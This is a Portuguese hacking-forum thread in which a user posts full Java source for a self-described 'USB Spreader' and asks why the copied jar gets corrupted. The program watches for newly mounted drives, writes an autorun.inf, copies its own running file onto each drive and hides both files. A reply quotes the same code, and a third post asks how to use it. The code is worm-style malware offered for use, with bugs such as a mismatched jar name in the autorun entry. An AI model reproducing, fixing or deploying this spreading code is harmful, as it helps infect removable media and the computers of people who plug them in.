Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

USB Spreader

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Duvida USB Spreader

    E ae pessoal frmz?

    Estou tentando criar um USB Spreader e pra ficar monitorando a presença do pendrive obrigatoriamente tem que ficar dentro de um While, acontece que msm eu fazendo um teste de verificação se os arquivos ja existem no pendrive e não criá-los novamente, dps de passar pelo primeiro loop While, não sei como é isso, mas ainda assim dps dessa alteraçao, me parece que é feita uma tentativa de sobrescrever os arquivos a cada loop, e isso resulta em arquivo .jar corrompido, no debug diz "(Acesso negado)" ao arquivo autorun.inf, mas o prejudicado msm é o .jar, já tentei aqui de várias formas solucionar isso, mas sem sucesso até então. Espero que alguém possa ajudar!

    O código foi feito no NetBeans 7.4

    Segue o código completo =>

    Código:
    /*
     * To change this license header, choose License Headers in Project Properties.
     * To change this template file, choose Tools | Templates
     * and open the template in the editor.
     */
    package usbdetect;
    
    import com.sun.jna.Native;
    import com.sun.jna.Pointer;
    import com.sun.jna.platform.win32.Kernel32;
    import com.sun.jna.platform.win32.WinNT;
    import com.sun.jna.win32.StdCallLibrary;
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.FileNotFoundException;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.PrintWriter;
    import java.io.UnsupportedEncodingException;
    import javax.swing.JOptionPane;
    
    /**
     *
     * @author FL4SHC0D3R
     */
    public class USBDetect {
    
        public interface PSAPI extends StdCallLibrary {
    
            PSAPI INSTANCE = (PSAPI) Native.loadLibrary("psapi", PSAPI.class);
    
            int GetModuleFileNameExA(
                    WinNT.HANDLE process,
                    Pointer hModule,
                    byte[] lpString,
                    int nMaxCount);
        };
    
        public static String getModuleFilename() {
            byte[] exePathName = new byte[512];
            WinNT.HANDLE process = Kernel32.INSTANCE.GetCurrentProcess();
            int result = PSAPI.INSTANCE.GetModuleFileNameExA(
                    process, new Pointer(0), exePathName, exePathName.length);
            return Native.toString(exePathName).substring(0, result);
        }
    
        public static void copy(String Driver) throws FileNotFoundException, IOException {
    
            String selected = getModuleFilename();
            File srcDir = new File(selected);
            FileInputStream fii;
            FileOutputStream fio;
    
            fii = new FileInputStream(srcDir);
            fio = new FileOutputStream(Driver + "\\USBDetect.jar");
            byte[] b = new byte[1024];
            int i = 0;
    
            while ((fii.read(b)) > 0) {
    
                System.out.println(b);
                fio.write(b);
            }
    
            fii.close();
            fio.close();
        }
    
        public static void setHidden(File file) throws InterruptedException, IOException {
            Process p = Runtime.getRuntime().exec("attrib +H " + file.getPath());
            p.waitFor();
        }
    
        public static void USBDetect() throws FileNotFoundException, UnsupportedEncodingException, IOException, InterruptedException {
    
            String[] letters = new String[]{"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"};
            File[] drives = new File[letters.length];
            boolean[] isDrive = new boolean[letters.length];
    
            for (int i = 0; i < letters.length; ++i) {
                drives[i] = new File(letters[i] + ":/");
    
                isDrive[i] = drives[i].canRead();
            }
    
            System.out.println("FindDrive: waiting for devices...");
    
            while (true) {
                for (int i = 0; i < letters.length; ++i) {
    
                    boolean pluggedIn = drives[i].canRead();
    
                    if (pluggedIn != isDrive[i]) {
    
                        if (pluggedIn) {
    
                            System.out.println("Drive " + letters[i] + " has been plugged in");
    
                            PrintWriter inf = new PrintWriter(letters[i] + ":/" + "\\autorun.inf", "UTF-8");
                            File jar = new File(letters[i] + ":/" + "\\USBDetect.jar");
                            File autorun = new File(letters[i] + ":/" + "\\autorun.inf");
    
                            if (jar.exists() && autorun.exists()) {
                            } else {
    
                                try {
                                    inf.println("[autorun]");
                                    inf.println("open=FINDJAR.jar");
                                    inf.close();
    
                                    copy(letters[i] + ":/");
                                    setHidden(jar);
                                    setHidden(autorun);
    
                                } catch (Exception e) {
    
                                    e.printStackTrace();
                                }
                            }
    
                        } else {
    
                            System.out.println("Drive " + letters[i] + " has been unplugged");
    
                            isDrive[i] = pluggedIn;
                        }
                    }
    
                    try {
                        Thread.sleep(100);
                    } catch (InterruptedException e) {
                    }
    
                }
    
            }
        }
    
        /**
         * @param args the command line arguments
         * @throws java.io.UnsupportedEncodingException
         * @throws java.io.FileNotFoundException
         * @throws java.lang.InterruptedException
         */
        public static void main(String[] args) throws UnsupportedEncodingException, IOException, FileNotFoundException, InterruptedException {
            // TODO code application logic here
    
            USBDetect();
        }
    }
    Obrigado.
    Similar Threads

  • Font Size
    #2
    Postado Originalmente por FL4SHC0D3R Ver Post
    E ae pessoal frmz?

    Estou tentando criar um USB Spreader e pra ficar monitorando a presença do pendrive obrigatoriamente tem que ficar dentro de um While, acontece que msm eu fazendo um teste de verificação se os arquivos ja existem no pendrive e não criá-los novamente, dps de passar pelo primeiro loop While, não sei como é isso, mas ainda assim dps dessa alteraçao, me parece que é feita uma tentativa de sobrescrever os arquivos a cada loop, e isso resulta em arquivo .jar corrompido, no debug diz "(Acesso negado)" ao arquivo autorun.inf, mas o prejudicado msm é o .jar, já tentei aqui de várias formas solucionar isso, mas sem sucesso até então. Espero que alguém possa ajudar!

    O código foi feito no NetBeans 7.4

    Segue o código completo =>

    Código:
    /*
     * To change this license header, choose License Headers in Project Properties.
     * To change this template file, choose Tools | Templates
     * and open the template in the editor.
     */
    package usbdetect;
    
    import com.sun.jna.Native;
    import com.sun.jna.Pointer;
    import com.sun.jna.platform.win32.Kernel32;
    import com.sun.jna.platform.win32.WinNT;
    import com.sun.jna.win32.StdCallLibrary;
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.FileNotFoundException;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.PrintWriter;
    import java.io.UnsupportedEncodingException;
    import javax.swing.JOptionPane;
    
    /**
     *
     * @author FL4SHC0D3R
     */
    public class USBDetect {
    
        public interface PSAPI extends StdCallLibrary {
    
            PSAPI INSTANCE = (PSAPI) Native.loadLibrary("psapi", PSAPI.class);
    
            int GetModuleFileNameExA(
                    WinNT.HANDLE process,
                    Pointer hModule,
                    byte[] lpString,
                    int nMaxCount);
        };
    
        public static String getModuleFilename() {
            byte[] exePathName = new byte[512];
            WinNT.HANDLE process = Kernel32.INSTANCE.GetCurrentProcess();
            int result = PSAPI.INSTANCE.GetModuleFileNameExA(
                    process, new Pointer(0), exePathName, exePathName.length);
            return Native.toString(exePathName).substring(0, result);
        }
    
        public static void copy(String Driver) throws FileNotFoundException, IOException {
    
            String selected = getModuleFilename();
            File srcDir = new File(selected);
            FileInputStream fii;
            FileOutputStream fio;
    
            fii = new FileInputStream(srcDir);
            fio = new FileOutputStream(Driver + "\\USBDetect.jar");
            byte[] b = new byte[1024];
            int i = 0;
    
            while ((fii.read(b)) > 0) {
    
                System.out.println(b);
                fio.write(b);
            }
    
            fii.close();
            fio.close();
        }
    
        public static void setHidden(File file) throws InterruptedException, IOException {
            Process p = Runtime.getRuntime().exec("attrib +H " + file.getPath());
            p.waitFor();
        }
    
        public static void USBDetect() throws FileNotFoundException, UnsupportedEncodingException, IOException, InterruptedException {
    
            String[] letters = new String[]{"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"};
            File[] drives = new File[letters.length];
            boolean[] isDrive = new boolean[letters.length];
    
            for (int i = 0; i < letters.length; ++i) {
                drives[i] = new File(letters[i] + ":/");
    
                isDrive[i] = drives[i].canRead();
            }
    
            System.out.println("FindDrive: waiting for devices...");
    
            while (true) {
                for (int i = 0; i < letters.length; ++i) {
    
                    boolean pluggedIn = drives[i].canRead();
    
                    if (pluggedIn != isDrive[i]) {
    
                        if (pluggedIn) {
    
                            System.out.println("Drive " + letters[i] + " has been plugged in");
    
                            PrintWriter inf = new PrintWriter(letters[i] + ":/" + "\\autorun.inf", "UTF-8");
                            File jar = new File(letters[i] + ":/" + "\\USBDetect.jar");
                            File autorun = new File(letters[i] + ":/" + "\\autorun.inf");
    
                            if (jar.exists() && autorun.exists()) {
                            } else {
    
                                try {
                                    inf.println("[autorun]");
                                    inf.println("open=FINDJAR.jar");
                                    inf.close();
    
                                    copy(letters[i] + ":/");
                                    setHidden(jar);
                                    setHidden(autorun);
    
                                } catch (Exception e) {
    
                                    e.printStackTrace();
                                }
                            }
    
                        } else {
    
                            System.out.println("Drive " + letters[i] + " has been unplugged");
    
                            isDrive[i] = pluggedIn;
                        }
                    }
    
                    try {
                        Thread.sleep(100);
                    } catch (InterruptedException e) {
                    }
    
                }
    
            }
        }
    
        /**
         * @param args the command line arguments
         * @throws java.io.UnsupportedEncodingException
         * @throws java.io.FileNotFoundException
         * @throws java.lang.InterruptedException
         */
        public static void main(String[] args) throws UnsupportedEncodingException, IOException, FileNotFoundException, InterruptedException {
            // TODO code application logic here
    
            USBDetect();
        }
    }
    Obrigado.

    Já consegui resolver, aqui está a solução => Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    Last edited by Piratica; 17-10-2015, 20:01. Motivo: Correção hiperlink

    Comment


    • Font Size
      #3
      USBDetect - como usar?

      Estava olhando seu código, não entendi como funciona... Poderia me ajudar?

      Comment

      X
      Working...
      X